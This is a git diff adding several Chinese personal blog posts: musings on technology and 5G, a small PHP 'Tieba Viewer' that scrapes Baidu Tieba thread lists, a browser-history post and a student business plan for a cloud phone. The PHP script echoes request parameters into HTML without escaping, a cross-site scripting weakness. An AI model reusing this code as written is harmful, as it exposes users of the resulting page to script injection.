||||
从上面所说的设备来看,我感觉现在的科技似乎发展的没有那么快了。也许是期望过高,现在的设备变化并不大,唯一变化的就是更好的性能,更优秀的程序和更先进的应用模式。但是本质没有变,电脑还是那个电脑,手机还是那个手机。也许是厂家的兼容性让我误认为科技没有发展,又也许是某些厂家的垄断性让其他新的东西没有生产的机会。总之,现在科技的进步让我感觉就是挤牙膏,只有纵向缓慢的发展,没有横向大范围的跃进。
|
||||
变化的总是一些平常人看不出来的地方,虽然像生物计算机和量子计算机仍然没有商业化,但是处理器的结构貌似已经和原来不一样了。尽管都是X86或X64以及ARM的架构,但是也许实现方式不一样了呢。不过具体到底有没有进步我真的是看不出来,只希望这些厂家厚积薄发,能让我感觉到质的变化吧。
|
||||
未来的设备我无法想象,可能真的不再在硬件上做进步,像现在大多数公司都更愿意在软件上进行改进,像什么云计算之类的,也就是一些新的概念,不过基础没有变,软件不过是在原有的基础上加东西,这倒也不是不能理解,毕竟要考虑到兼容性,不能为了新的东西就不顾旧的东西。像HTTP/3,它就是为了兼容性才用了UDP协议作为底层。不过令我感到糟糕的是DoT/DoH,之所以使用UDP作为DNS协议的底层不就是为了快速嘛,结果它还来一个在TCP上加密,那样延迟怎么下的来?
|
||||
像现在出现的5G网络也是不可思议,现在大多数家庭都达不到千兆网络,甚至许多网站服务器带宽也达不到千兆,5G到千兆网络有什么意义?在大多数时候需要用千兆的时候用光纤它不好吗,需要无线用Wifi6它不好吗?我实在是很难想到5G的实际用途。不过未来也很难预测,6G如果是运行在卫星上那当然是真的有意义,但是5G的发展目前我实在是想不明白,不过既然那么多专家都对5G抱有信心,那就看看它能怎么样吧。
|
||||
不过这又让我回想起区块链了,前几个月区块链火了,仅仅是因为领导人说区块链很重要……不过几个月过去了我依然没看到这个区块链有什么应用。
|
||||
我对未来还是抱有希望的,之所以我觉得现在发展变慢了,也许是我太着急了,再过几年吧,如果真的有质的变化,那么以后再回来看这篇文章也许就会感到人类真的还是有些能力的,但是如果没有发展,那我就看看我还能等到什么时候吧!
|
||||
|
||||
P.S.今天是[Github Archive Program](https://archiveprogram.github.com/)的截止日期,我之前写了[一篇文章](/2019/11/18/archive.html)介绍它。希望过了这个截止日期后Github能把我的博客收录到GitHub Arctic Code Vault里,这样我的博客说不定千年以后还有人能看到呢23333
|
54
_posts/2020-02-10-tieba.md
Normal file
54
_posts/2020-02-10-tieba.md
Normal file
@ -0,0 +1,54 @@
|
||||
---
|
||||
layout: post
|
||||
title: 如何不使用贴吧App查看贴吧
|
||||
tags: [贴吧, PHP]
|
||||
---
|
||||
|
||||
为自己手机的最后一片净土而战(ง •_•)ง<!--more-->
|
||||
|
||||
# 起因
|
||||
由于某些原因,我还是很想上百度贴吧看看的。虽然一些大公司很流氓,但也正因为他们是大公司,所以积累的信息才更多……
|
||||
一年前,我因为使用百度搜索时打不开搜索内容,所以不得不[使用了一些办法](/2019/05/12/baidu.html)来解决这个问题。不过看起来百度也知道自己这么做是在砸自家招牌,所以后来这个问题百度貌似他们自己解决了。
|
||||
而现在呢,我又因为某些原因需要使用百度贴吧,当然安装贴吧App就是在侮辱我的手机。一般来说,遇到这个问题只要用桌面版的贴吧就好了,但是很遗憾的是我用的浏览器是基于WebView的Firefox Rocket,不支持更改UA……既然如此,我只好运用我编程的技能解决这个问题了。
|
||||
|
||||
# 解决方案
|
||||
在正常情况下用手机看贴吧的贴子是看不到全部内容的,只能看到前两楼,当然这样的贴吧就是废物,要想看剩下的内容就需要下载贴吧App了。不过以前贴吧有一个极简版,虽然很简陋,但是也够用了。然而很糟糕的是,百度他们不允许极简版列出贴子的标题了,如果用极简版看贴吧的话是看不到贴子的列表的。
|
||||
不过如果知道贴子的ID,貌似还是能正常打开的,所以我们只需要获得到贴子的列表和ID就OK了。
|
||||
经过我的研究,只要在`http://tieba.baidu.com/mo/q-----1----/m?kz=`后面加上贴子的ID就能看到贴子的全部内容,只是这个貌似不能发帖,不过我也不需要这个就是了。
|
||||
于是我参考了以前[Iwara Viewer](/2019/04/13/iwara.html)的代码,写出了最终的代码。
|
||||
|
||||
# 代码
|
||||
```php
|
||||
<?php
|
||||
if (isset($_GET["kw"])) {
|
||||
if (!isset($_GET["pn"])) {
|
||||
$_GET["pn"] = 1;
|
||||
}
|
||||
$url = 'https://tieba.baidu.com/f?kw='.iconv("utf-8","gb2312",$_GET["kw"]).'&pn='.($_GET["pn"]-1)*50;
|
||||
$str = file_get_contents($url);
|
||||
$preg='/<a rel="noreferrer" href="\/p\/(.*?)" title="(.*?)" target="_blank" class="j_th_tit ">/is';
|
||||
preg_match_all($preg,$str,$match);//在$str中搜索匹配所有符合$preg加入$match中
|
||||
echo "<title>Mayx Tieba Viewer</title><h1>Mayx Tieba Viewer</h1><hr />";
|
||||
if ($http_response_header[0] != "HTTP/1.0 200 OK"){
|
||||
echo "<b>Warning</b>:It's Not Tieba Name<br>";
|
||||
}
|
||||
for($i=0;$i<count($match[0]);$i++)//逐个输出超链接地址
|
||||
{
|
||||
echo "<a href=\"http://tieba.baidu.com/mo/q-----1----/m?kz=".$match[1][$i]."\">".$match[2][$i]."</a><br>";
|
||||
}
|
||||
echo "<hr><a href=\"?pn=".($_GET["pn"] + 1)."&kw=".$_GET["kw"]."\" >Next Page</a>";
|
||||
} else {
|
||||
echo '<title>Mayx Tieba Viewer</title><h1>Mayx Tieba Viewer</h1><hr><form action="" method="get">Please Input Tieba Name:<input type="text" name="kw" required><input type="submit" value="Submit"></form>';
|
||||
}
|
||||
```
|
||||
虽然说用JavaScript貌似也可以做到,可惜我学艺不精,只好用PHP解决了。
|
||||
|
||||
# 演示
|
||||
<https://yuri.gear.host/tiebaview.php>
|
||||
|
||||
# 后记
|
||||
P.S.这个东西是专门为了手机设计的,所以电脑完全没必要使用这个看帖子。
|
||||
另外就是希望百度做个人吧……HTML肯定是能实现相应功能的,非要人下载App,虽然我也知道是为了利益,但是这真的是太恶心了……另外……知乎也一样,太恶心最终一定会流失掉用户的。
|
||||
|
||||
# 真相
|
||||
我不知道的是很多的小程序上也有贴吧,像微信上也有,白做了😂……算了,就当练手+氵一篇了23333
|
38
_posts/2020-02-15-phone.md
Normal file
38
_posts/2020-02-15-phone.md
Normal file
@ -0,0 +1,38 @@
|
||||
---
|
||||
layout: post
|
||||
title: 关于对未来手机的想象
|
||||
tags: [未来, 手机]
|
||||
---
|
||||
|
||||
我听说洗澡的时候思维最发散(笑)<!--more-->
|
||||
|
||||
# 起因
|
||||
前两天小米10发布了,看着那最高将近6000CNY的手机我沉默了……
|
||||
昨天我在洗澡的时候正好就在想关于手机的事,手机越来越贵看起来似乎成为了趋势,当然对于小米10Pro来说,它的技术是应该值那样的价钱。但是我觉得这不应该是未来手机的发展,未来的手机绝对不是将越来越多的东西堆到一个砖头大的小盒子里,于是在我洗澡的时候就回想起了以前对未来设备的想象。
|
||||
|
||||
# 对手机与性能的看法
|
||||
因为以前做过[Telnet BBS](https://github.com/Mabbs/Mabbs),所以我对Telnet与当时的历史了解的也比较深。我听说以前的电脑算力十分的差,当人们需要计算一些比较复杂的东西就会通过Telnet连接到算力更强的电脑上去计算那些东西。但是随着现在个人电脑的计算能力越来越强,以及对于安全性的需要,Telnet成为了历史的记忆。
|
||||
像我的服务器才1h1g,而现在买到的电脑甚至都可以是几十核,真的是不能比……不过对于手机来说,配置再高的手机,运算能力也完全比不过电脑,毕竟功耗在那里放着,电脑里可以搞一个巨大的风扇,或者是一套复杂的水冷系统。但是手机主要还是便携性,搞一堆复杂的散热系统也不现实,就更不用说供电的问题了。
|
||||
让手机有着更好的性能从这个角度来看似乎是没有意义的,更好的性能要么更耗电,要么就用更好的生产工艺与设计,然而这样会更贵……所以我觉得手机向着更好的性能发展是不合理的发展趋势。
|
||||
综上所述,我觉得可以把手机的算力设计到很低,这样无论从耗电发热还是从成本来说都很低。然后让手机去连接运算能力更强的服务器,在那个上面去运行需要用到运算能力的程序,这样我们就可以去掉手机上所有的散热设备,以及各种各样的附件,用以增大电池的空间,或者让手机更薄。
|
||||
我之所以这样想主要还有一个原因,那就是旧手机的问题。我有一部5年前的华为麦芒4,它的CPU是骁龙616的,算力十分垃圾,被淘汰是应该的。但是它的屏幕是1080P的屏幕,和我目前使用的红米K20Pro的屏幕像素密度差不多(虽然材质不一样)。即使到现在,大多数的旗舰机也都使用的是1080P的屏幕。既然如此,这个屏幕还是完好无损且同样更得上时代的情况下仅仅是因为处理器过时了就被时代淘汰了,不是显得浪费吗?
|
||||
|
||||
# 未来的手机:云手机
|
||||
所以我想了一种新的手机设计方案,那就是云手机。虽然云手机的理念提出了很长时间,但是不知道为什么出的都是为电脑工作的云手机,而不是真正为手机服务的云手机。或者说仅仅做为单独的应用使用的云手机,比如云存储还是什么云服务啥的……总而言之,目前的云手机完全没有融入使用者的生活,仅仅是作为一种辅助。
|
||||
如果说可以制造一种手机,主要的成本全部在屏幕和电池上,然后这个手机在没有联网时唯一能做的就是打电话,而联网时连接到远程服务器上就可以像正常的手机一样上网聊天打游戏,所有的操作全部由服务器进行运算,然后通过远程桌面的协议在手机上进行表达。
|
||||
现在的远程桌面协议已经很多了,像什么VNC、RDP还有什么SPICE,所以说我觉得从技术上来说,服务器负责运行程序,而手机只负责控制与显示,这样手机也不再耗电,可能充一次可以用个两三天,在打游戏时也不再发烫和卡顿(网络原因除外),而且也可以根据自己的需要得到相应的配置,价格也会更加便宜。
|
||||
## 设计内容
|
||||
1. 关于服务器的配置
|
||||
现在的虚拟化技术也非常成熟了,什么弹性计算之类的也做的很不错了。像大多数时候当人们不再使用手机的时候手机事实上是在空载状态的,最多就是聊天信息需要随时到达。那么大多数情况我们的手机可能只需要一核CPU就可以满足需要,对于ARM的CPU,一核的运行成本应该很低吧?而在人们打游戏的时候需要的更多核服务器也可以想提供多少就能提供多少吧?而且这个还能挂机。那么我们就可以进行定价,比如手机平时使用一核,突发性使用四核,这个成本也没多高,1天1CNY应该也不亏吧?或者根据实际使用计算价格,一年下来可能也就花个400CNY左右吧?这也不算贵嘛,正常买一部高性能手机也要花2000-3000CNY吧?但是实际用个2-3年也就淘汰了嘛。
|
||||
2. 关于手机的设计
|
||||
现在的手机主要成本屏幕占的应该也不算太多,换个屏幕也就300-400CNY左右吧?我觉得主要成本应该还是在主板上。但是如果说这个主板除了联网打电话,加个定位和WiFi,顺便来个5MP能扫码的后摄应该也没多贵吧?200CNY总能拿下吧?想拍照为啥不买微单呢?电池就更不用说了,200CNY买个4000mAh的电池应该轻轻松松吧?700CNY出一个超长待机,屏幕又大又清晰的手机即使对于山寨机来说都是轻轻松松吧?700CNY的手机如果说加上每年400CNY的云手机费用性能能和目前4000CNY的手机相比那我觉得还是挺划算的吧?
|
||||
|
||||
最终成本也不高,消费者也能负担的起,然后服务商也能持续从消费者那里拿钱,岂不美哉?
|
||||
|
||||
# 附加的优点
|
||||
我们也不一定只提供Android系统,同样如果有必要也可以提供Windows系统,顺便卖个没有运算能力的平板和电脑盒子,系统可以互相相互连接,在平板上既可以操作手机的系统,随时也可以操作电脑的系统,两个系统硬盘可以相互访问,也就没必要再导来导去的了。毕竟这时候手机、平板、电脑都成为了真正意义的终端,一切服务都在服务器上完成。
|
||||
还有一个优点,这时候终端的网速将不再重要,重要的是与服务器连接的稳定性,服务器本身的带宽自然是超级大,毕竟连的都是光纤,延迟也极其的小,实际的延迟在于终端操作与服务器的延迟上,不过我觉得随着现在网络的发展,家里的延迟由WiFi6去缩小,家外的延迟由5G去缩小,最终一定能得到与原生一般的操作体验。
|
||||
|
||||
# 我的计划
|
||||
如果说在我大三的时候这样的手机还没有出现在市场上,我就有了创业的冲动(突然理解了为什么大学生想出去创业),想办法去拉众筹、投资与贷款,然后看看自己能不能搞到人脉,去和华强北的大佬们一起研发出这样的手机23333
|
||||
如果真的能造出这样的手机以及这样的服务,我觉得一定会有市场的。
|
31
_posts/2020-02-18-browser.md
Normal file
31
_posts/2020-02-18-browser.md
Normal file
@ -0,0 +1,31 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx的浏览器使用史
|
||||
tags: [浏览器]
|
||||
---
|
||||
|
||||
我感觉遇到了不错的浏览器<!--more-->
|
||||
|
||||
# 最初的改变
|
||||
以前我对浏览器没有什么要求,所以一般都用的是系统自带的浏览器。但是最近几年各大厂商都开始犯病,在浏览器里疯狂加广告,所以没办法,我只好选择其他的浏览器。
|
||||
我选择浏览器也是近几年才做的事,因为厂商也是最近几年才开始在系统里加广告。
|
||||
我最初的选择是Firefox,因为我听说Firefox的历史悠久,从很久以前浏览器出现的时候Firefox就已经出现了,只是当时它好像叫Netscape来着。总之就是对Firefox有一些好感,然后就一直用Firefox了,即使我后来换了手机,也一直用的是Firefox。
|
||||
|
||||
# 意外发生
|
||||
不知道我是怎么了就手残了,偶然有一次不知道我是想清除缓存呢还是想强行停止Firefox,结果手残点到卸载上了……而且更加不可思议的是下一步我还点到确认键上了……结果我的浏览器就随着我的一大堆书签消失不见了……
|
||||
当时貌似我周围没有WiFi,只有流量,再下一遍Firefox有点太费了,不过我在搜索Firefox的时候发现了Firefox Lite(原Firefox Rocket),大小只有几MiB,是给中国和印度的特供版。我查了一下貌似是北京谋智公司搞的,说实话我不太放心这个公司,但是当时也没有想太多,然后就一直用着了。
|
||||
不过这个浏览器的功能是真的少,垃圾的以至于UA也改不了,网页源代码也看不了,更不用说什么插件啥的……不过我想我不过是用手机上个网罢了,也不打算干什么复杂的事情,所以也就忍了。
|
||||
后来想上贴吧,因为这个破浏览器不能改UA,所以我只好[使用PHP](/2020/02/10/tieba.html)解决这个问题。
|
||||
|
||||
# 偶然遇见
|
||||
我后来想了想,也许上不了贴吧是我的问题,解决方案可能比我想象的更多,比如说换浏览器之类的,不过问题已经解决了我也就没多想。
|
||||
不过没过几天我偶然看见了一个浏览器,叫做Via,大小只有几百KiB,功能还比Firefox Lite多。这时候我就没理由不换浏览器了。
|
||||
换成Via后发现这个功能比我想象的更多,不仅主页可以自定义,而且可以自定义UA、查看源代码、屏蔽广告,也可以装插件,这个功能甚至比Firefox本身都多了,大小还小了几十倍。
|
||||
不仅如此,里面的插件完美的解决了贴吧的问题,这再一次打击了我写垃圾代码的信心lol。
|
||||
然后我觉得我以后应该不会再换浏览器了。
|
||||
|
||||
# 技术分析
|
||||
我实在是不能理解某些大厂的做法,像华为自带的浏览器是UC提供的,内核还是Webkit,小米的浏览器是直接是Chromium套了层壳,顺便还加了一堆广告,结果Chromium还是32位的。而腾讯系的软件也是,搞的什么X5内核,结果还是基于Webkit的,越改越烂。
|
||||
明明谷歌为Android系统配了WebView,为什么就不能好好用呢?这个WebView基于的还是最新的Chrome呢,全球最先进的浏览器,这些厂商非要自己瞎搞,增加了空间还降低了性能,然后还不符合标准,真不知道他们到底在搞什么。
|
||||
像Firefox Lite和Via浏览器就是基于WebView的,空间又小,性能又好,而且到时候升级只用升WebView就OK了。后来我发现用腾讯X5内核的还不只是腾讯系软件,连哔哩哔哩居然都在用?真是可耻啊!不过还好这个内核腾讯还留了一个后门,好像是<http://debugtbs.qq.com>,用这个就可以不使用X5内核而改用WebView内核了。
|
||||
感觉真是不理解国内的某些互联网公司在搞什么操作,也许就是这个原因,Firefox才会为中国和印度提供特供版的浏览器吧23333
|
118
_posts/2020-03-01-plan.md
Normal file
118
_posts/2020-03-01-plan.md
Normal file
@ -0,0 +1,118 @@
|
||||
---
|
||||
layout: post
|
||||
title: 对于云手机的策划书
|
||||
tags: [手机, 策划]
|
||||
---
|
||||
|
||||
策划?不存在的!<!--more-->
|
||||
|
||||
# 前言
|
||||
我写了[对未来手机的想象](/2020/02/15/phone.html)这篇文章之后,突然想起来学校最近搞了一个创新比赛,反正在家里也是闲着,就打算和同学一起参考我的文章搞一下。
|
||||
不过我只对写我的博客感兴趣,对写像什么调查之类乱七八糟的东西没什么兴趣,然后我就把策划书的大部分内容交给了那个同学,自己就主要写一下大概的方向。
|
||||
当然作为人来说,他看起来也对写这种东西不怎么感兴趣,瞎编一部分又从网上找了些资料,写了一半就打算就这么交差。不过其实我对这个东西也没抱多大期望,就当给延长的假期找个乐子吧。
|
||||
那么接下来就是主要内容了:
|
||||
|
||||
# 一、执行总结
|
||||
## 一、概念产品概述
|
||||
远程云手机(Remote Cloud Phone,简称“RCP”)是基于远程控制与虚拟化技术的移动通讯设备,该产品运用云计算与5G技术提高了资源的利用率,大大降低了手机的生产成本和实际运算成本。
|
||||
该产品主要分为两部分,一部分是价格低廉,且有着强大续航能力的控制与显示终端,另一部分是计算力强大,且无需考虑电能消耗的远程云计算平台。
|
||||
控制与显示终端利用5G的低延时和高效的传输来尽可能的模拟真实手机的使用效果,由于计算不在本地,所以本地设备的电能消耗和发热都可以做到相当低。远程云计算平台使用虚拟化技术进行动态的弹性计算,既能提高能效比,又可以提高实际的运算能力。由于远程云计算完全不需要考虑发热量和电能消耗,所以也可以提供无限的计算能力。
|
||||
## 二、面临的市场机会和目标市场定位
|
||||
市场机会:
|
||||
外部环境:随着手机科技含量的逐步提高,导致手机价格不断上涨,人民群众对于高科技手机日渐增长的需求与手机不断增长的价格产生了矛盾,人们需要一种价格相对较低,又能满足需求的较高性能的手机。
|
||||
内部环境:虚拟化技术与远程服务器已经成熟,并且这两项也是云手机的实现最为重要的技术。
|
||||
目标市场定位:由于手机市场还未有完整成熟的云手机产业链,所以应该先占据市场金字塔的中层,依靠成本低的优势开拓市场。针对于云手机现在的状况,应该采用无差异营销战略,集中研发中端产品。
|
||||
## 三、市场环境与竞争优势
|
||||
市场环境:目前,多家公司已经迈进了“云手机”大门,瞄准了“云端”,共同发力智能手机市场。但仍没有做到彻底意义上的云手机,云手机的市场尚未达到饱和,仍有发展潜力
|
||||
竞争优势:云手机比起普通智能手机,有几处非常大的优势。
|
||||
1. 存储优势:云手机本身没有存储功能,所有存储都将“云存储”在服务器中,节省了普通智能手机中的内存条空间。
|
||||
2. 价格优势:云手机几乎所有的计算与渲染工作全部交给了远程服务器,因此云手机产品主要关注于云手机的外观、屏幕分辨率、摄像头分辨率、电池容量,少了许多硬件的安装,手机成本自然降低。
|
||||
3. 电量持久性优势:手机由于少了许多硬件的安装,手机内部空间变大,可以安装更大容量的电池,并且由于“云手机”在真正工作时,只起到显示的作用,因此电量持续时间可以更久,不会由于工作太久而发热,不影响用户操作体验。
|
||||
4. 网速更快:由于所有的计算与渲染工作全部交给了远程服务器,远程服务器的运算速度肯定是大于手机本身的,所以可以提高网速,带给用户极致体验。
|
||||
|
||||
## 四、团队概述
|
||||
团队分为四块主体:营销、策划、技术人员和生产。
|
||||
技术与生产是最为困难的部分。技术人员主要依靠招聘相关专业高素质人才,生产项目依托给华强北,营销策划另外招聘相关专业人员。
|
||||
## 五、经济状况和盈利能力预测
|
||||
创业初期资金紧张,主要依靠企业投资和创始者资金众筹。
|
||||
由于云手机概念并未普及,前期需要进行大量宣传,资金主要花在了研发、广告宣传、服务器等设备的购买上。企业前几个季度必然是亏损为主,但后几个季度会趋之平稳,待云手机的优势宣传普及民众,必然会有更多的消费者购买。
|
||||
## 六、所需资源和所提供的利益
|
||||
企业的经首先营需要资金支持,人才资源支持、场地支持
|
||||
云手机两大核心技术是虚拟机技术与远程服务器技术,需要购买服务器,因为安卓在ARM指令集运行效率最高,所以最好买ARM指令集的服务器。
|
||||
由于手机的原本功能都由服务计算,不需要在手机中再安装过多芯片所以能为制造手机商减少硬件安装成本。服务器集群,可以在服务器空闲状态出售空闲算力,获得资金,还可以进行品牌宣传。
|
||||
|
||||
# 二、产业背景和市场竞争
|
||||
产业背景:目前,多家公司已经迈进了“云手机”大门,瞄准了“云端”,共同发力智能手机市场。但仍没有做到彻底意义上的云手机,云手机的市场尚未达到饱和,仍有巨大的发展潜力。手机科技含量逐步提高,导致手机价格不断上涨,中低端消费者对于高科技手机的需求日渐增长,但手机价格不断增长,人们需要一种价格相对较低,又能满足需求的较高性能的手机。
|
||||
市场竞争环境:
|
||||
多家公司迈进了“云手机”大门。
|
||||
苹果先行一步,基于原有的MobileMe功能全新改写而成的苹果iCloud服务iCloud正式对全球的苹果开发者开放。
|
||||
国内的手机厂家也不甘落后,阿里巴巴、小米、腾讯纷纷开始发力。2011年8月,阿里巴巴推出的“阿里云”手机介入智能手机市场。手机系统是自主研发“云智能OS”,采用Cloud App方式,用户无需在手机端下载应用,只要在网络环境下登陆统一的云账号就可以运行OS平台上的各种应用,如阿里浏览器、阿里搜索、手机旺旺等。腾讯已经和华为合作推出了包含19款QQ应用的手机,其和中国电信深度定制的手机QPhone操作系统也在加快面世的速度。小米更是发布首台智能手机以攻城略地。
|
||||
2011年9月,百度和戴尔也瞄准了“云端”,共同发力智能手机市场。2011百度世界大会上,百度创始人兼CEO李彦宏就流传已久的“百度手机”透露了相关信息。“我们应该已经跟一家国际手机厂商达成了协议”。最终中国搜索引擎巨头百度将携手全球第二大PC制造厂商戴尔公司共同开发智能手机以及平板电脑。双方合作的手机产品预计将于11月—12月期间上市销售。与此同时,百度在本次大会上还发布了移动终端操作系统“百度易”,并开始向第三方开发商抛出橄榄枝。不难看出,百度进军移动互联网领域的目标正在有条不紊的进行着。
|
||||
与此同时不少厂商还瞄准了老人手机市场,其中2012年3月国内首款云老人手机由沃爱思推出。其将云服务功能用于老人手机,实现了子女远程即可操作控制父母手机的全新体验。只需轻松通过web端,即可达到子女身边电脑和父母的沃爱思云服务手机之间的连接,内容变更、设置设定等就可以变成一件没有距离的事情。可以为老人进手机的所有设置,可以远程管理设置:远程定位、健康资料、联系人、图铃、闹钟、桌布时间与日期、键盘、高级设置、手机模式等菜单功能。
|
||||
|
||||
# 三、市场调查和分析
|
||||
## 一、目标市场的定位与分析
|
||||
云手机尚未普及,可以凭借其成本低价格低的优势,获得中低端消费者的青睐,具体的目标群体应该是高中生大学生,这类消费者消费能力处于中高端水准,并且有较高的素质,弄够理解云手机的概念并更好的使用云手机的相关功能。根据调查报告显示,大学生对手机要求最重要的是运行速度,占34%;其次是功能全面,占29%;在往下是价格便宜,占18%;当然外观漂亮也是重要的,占14%;其余的要求占4%。云手机依靠远程服务器拥有运行速度的优势,能够很好地满足消费者需求。
|
||||
## 二、市场容量估算和趋势预测
|
||||
由于云手机概念产品并未正式上市,所以其市场容量估算和趋势预测只能依靠2009-2018年智能手机的市场容量估算和趋势去进行参考,云手机的出现将是与智能手机的出现一样具有跨时代革命意义的,所以云手机的发展趋势可以拿智能手机这些年的发展作为一个参考。
|
||||
近几年,中国智能手机行业蓬勃发展,手机更新换代频繁,手机产量持续增长。2016年手机产量达到最高峰,共计22.61亿部。2018年1-11月手机产量为16.41亿部,同比下降2.4%。预计2019年手机产量降幅或扩大。
|
||||
手机市场趋向于存量状态,国内手机市场国产品牌迅速崛起。国内手机存量市场份额最大的仍然是苹果,占比28.90%,华为占比17.10%;国产品牌手机近年来占比持续上升,华为在2018年的市场占有率达到26.39%,OPPO和Vivo占比达到将近40%。中国巨大的市场需求给中国本土手机品牌的崛起增添了更多的筹码,国内分销市场代理国内品牌的比例普遍上升。
|
||||
5G将带来新一轮换机潮。基于作为移动互联入口的智能手机与人类生活深度融合,5G手机有望开启智能手机的高速物联时代。5G作为第五代移动通信网络,相比于4G网络来说,其最高理论传输速度可达数10Gb/秒,快了将近数百倍,一部完整超高清画质的电影可在一秒内下载完成。预计2019年5G智能手机出货量占智能手机出货量总额的0.5%,整体智能手机出货量在下降,但是5G智能手机预计到2023年有望超过4亿台,市占率达到26%。
|
||||
经过十多年高速发展,中国手机市场接近饱和状态,虽然全面屏、AI等技术带动了手机行业的发展,但在5G到来之前,这些技术还不足以带来大面积的换机需求。而在国际上的一些新兴市场,依然存在增长红利。
|
||||
华为目前在欧洲、中东、非洲和印度市场都加快脚步;受益于中国和印度市场出货量大增,小米成为2018年全球增速最快的手机品牌之一,除了印度之外,目前其加速发力西班牙、俄罗斯、欧洲等市场。
|
||||
## 三、竞争格局分析和竞争优势
|
||||
三星在2019年全球智能手机出货量市场占份额为21.6%;华为在2019年全球智能手机出货量市场份额为17.6%位居第二;苹果市场占份额为13.9%。小米出货量为1.256亿台,占市场份额为9.2%;OPPO出货量为1.143亿台,占市场份额为8.3%。值得一提的是,前五大手机厂商市场份额超全球智能手机市场份额的7成。
|
||||
在一个竞争如此激烈的市场存活绝非易事,需要有过人的竞争优势。云手机概念产品最大的优势便是其续航能力,因为云手机本身只负责接收和显示,耗电量并不大,估算续航能力是普通手机的3-4倍。并且计算和渲染在服务器中进行,所以处理速度也是可以令消费者满意的。
|
||||
## 四、估计的市场份额和销售额
|
||||
2019年全球智能手机出货量为13.71亿部,同比下降2.3%。全球智能手机出货量连续第三年下滑。 从手机厂商来看,2019年,三星、华为、苹果、小米、OPPO出货量排名前五位,出货量分别为2.96亿部、2.41亿部、1.91亿部、1.26亿部、1.14亿部。2019年,尽管华为在海外市场面临持续挑战,但仍超越了苹果成为智能手机出货量全球第二。未来,伴随着网络覆盖率提高、5G提速,中国消费者仍在等待更加亲民的5G智能手机面市。
|
||||
## 五、市场发展的趋势
|
||||
智能机行业呈现平缓发展状态,2018年市场规模达到15.6亿台,同比增长9.4%,随着人口红利枯竭,智能机市场增长动力主要依靠迭代换新。
|
||||
苹果在国内的市场首席地位并未被超越,但以华为、oppo和vivo为首的国产阵营品牌抓住科技机遇和换机红利,不断扩大市场空间,而小米、三星、魅族等品牌则有锁缩水。
|
||||
智能手机迭代需求弥补人口红利动力减弱的损失,通过更富科技感和时尚感的产品设计和定位,激发人们的换机心理,推动市场向更高层次发展。
|
||||
一、二线城市以及东部沿海地区引领高端智能机市场,三、四线、五线城市以及华中、西南、西北等内陆地区则不断升级设备,其中定位中端的智能机较受欢迎。
|
||||
一线城市智能移动终端市场新增乏力,二线城市是新增智能移动终端主要市场,新增设备以高端机为主流,三线及以下城市的增幅更加明显,中端机更加受到用户亲睐。
|
||||
智能移动终端质量方面整体提升明显,电池、屏幕等主要故障问题逐步减少,但是,内存不足问题有所升温;智能移动终端维修渠道目前主要依赖官方售后和传统线下门店。
|
||||
根据上面数据可得几个结论:
|
||||
1. 智能机市场增长动力主要依靠迭代换新。
|
||||
2. 需要更富科技感和时尚感的产品才能促进迭代换新。
|
||||
3. 定位中端的智能机较受欢迎。
|
||||
4. 二、三线城市是新增智能移动终端主要市场。
|
||||
5. 内存不足问题有所升温。
|
||||
|
||||
从以上结论中发现云手机概念产品是适合当下市场的消费者需求与大环境发展趋势的
|
||||
云手机概念产品的提出,可以有力的促进迭代换新,从而从接近饱和的市场中再次开拓新的市场。并且云手机消费群众定位在中端消费者与二三线城市,且中端消费者的市场还未饱和,仍有开拓潜力。云手机本身优势可以很好地解决内存、手机发热、价格过高的问题。
|
||||
|
||||
# 四、公司战略
|
||||
## 一、商业模式
|
||||
关键业务: 统一通信、通信设备、云计算与云服务
|
||||
核心资源: 创新的技术、人才资源、顾客信息
|
||||
价值主张: 以提高人们生活质量为愿景,运用云计算科学与技术领域专业,缩小贫富差距, 让人人享有。以绿色科学为基本准则,应对全球变暖挑战,资源集群化,减少能源浪费,创造更佳的社会效益,经济效益。
|
||||
顾客关系: 以顾客和市场为中心。 与客户结为战略合作伙伴,以双赢为发展目标。以及时挖掘顾客需求作为企业发展动力;以客户不断增长的需求作为企业存在的意义。
|
||||
销售渠道: 分销渠道,直销渠道。
|
||||
售后服务: 设置对应的客户群经理、区域客户代表,了解客户需求,满足客户需求。确保及时响应。设有服务热线,顾客可以直接通过拨打热线来反映需求,其需求将由专人转达给相关人员,最后再反馈给客户。成本结构:研发成本、采购成本、生产成本、无形成本
|
||||
收入来源:通信设备占主要,云计算与云服务占次要。其中主要为通信设备购买、云端软件购买、服务器空闲资源出租
|
||||
## 二、公司的研发方向和产品线扩张策略
|
||||
公司研发方向主要是设计产品外观、服务器群的搭建、最重要的事开发、优化远程连接服务器与手机的软件
|
||||
产品线扩张策略:在概念产品基本研制完毕的基础上,第一季度主要搭建服务器群组,第二季度进入设备测验、调试、生产阶段,并进行策划宣传。第三季度正式投入市场。每两个季度推出一款优化过的云手机。优化主要是针对设备运行速度。
|
||||
## 三、主要的合作伙伴与竞争对手等
|
||||
主要的合作伙伴是生产商、宣传商、设备及其零件提供商。
|
||||
主要对手是例如像华为、苹果这样已经在云手机方面有开发经验和已经开始研发的厂商。
|
||||
|
||||
# 五、关键的风险和问题
|
||||
## 一、技术方面
|
||||
可能存在实际产品的网络稳定性无法达到预期,或使用效果无法和原机相比。
|
||||
这部分可以通过向更可能提供稳定网络区域的消费者宣传,比如上班族等使用范围始终在稳定区域的人们
|
||||
## 二、市场方面
|
||||
可能出现消费者不信任等问题。
|
||||
这个解决方案可以通过提高宣传预期来降低人们对这个产品的不信任。
|
||||
## 三、财务方面
|
||||
可能存在初期成本无法回收等问题。
|
||||
可以通过众筹等方式融资。
|
||||
|
||||
# 后记
|
||||
我在这个活动结束之后,仔细思考了一下我的这个产品的的实用性。
|
||||
我看了一下现在更多人买手机的方案,发现我的产品还是有很多地方是有缺陷的。先不论技术问题,对于消费者来说,现在分期消费已经很流行了,比如一台5000CNY的手机,如果可以免息分期24期,每月也才200CNY左右,而过了两年之后也差不多该换新的手机了,这时候再来一波以旧换新,5000CNY的手机2年后顶1000CNY应该没问题吧?然后第三年换个更好的手机,在不考虑通货膨胀等情况下再分期……这样算下来其实价格也没多高,然后相比于云手机的稳定性又会高很多…… ~~(感觉老考虑这种事的我是不是穷疯了?23333)~~
|
||||
不过如果真的有云手机出现,说不定以后终端设备包年免费送,结果最后又回到现在需要一次付清的尴尬情况23333
|
||||
感觉生活就像是正弦函数一般,不断在前进,但是又不断在重复,感觉进步毫无意义,但是又不能不做……
|
||||
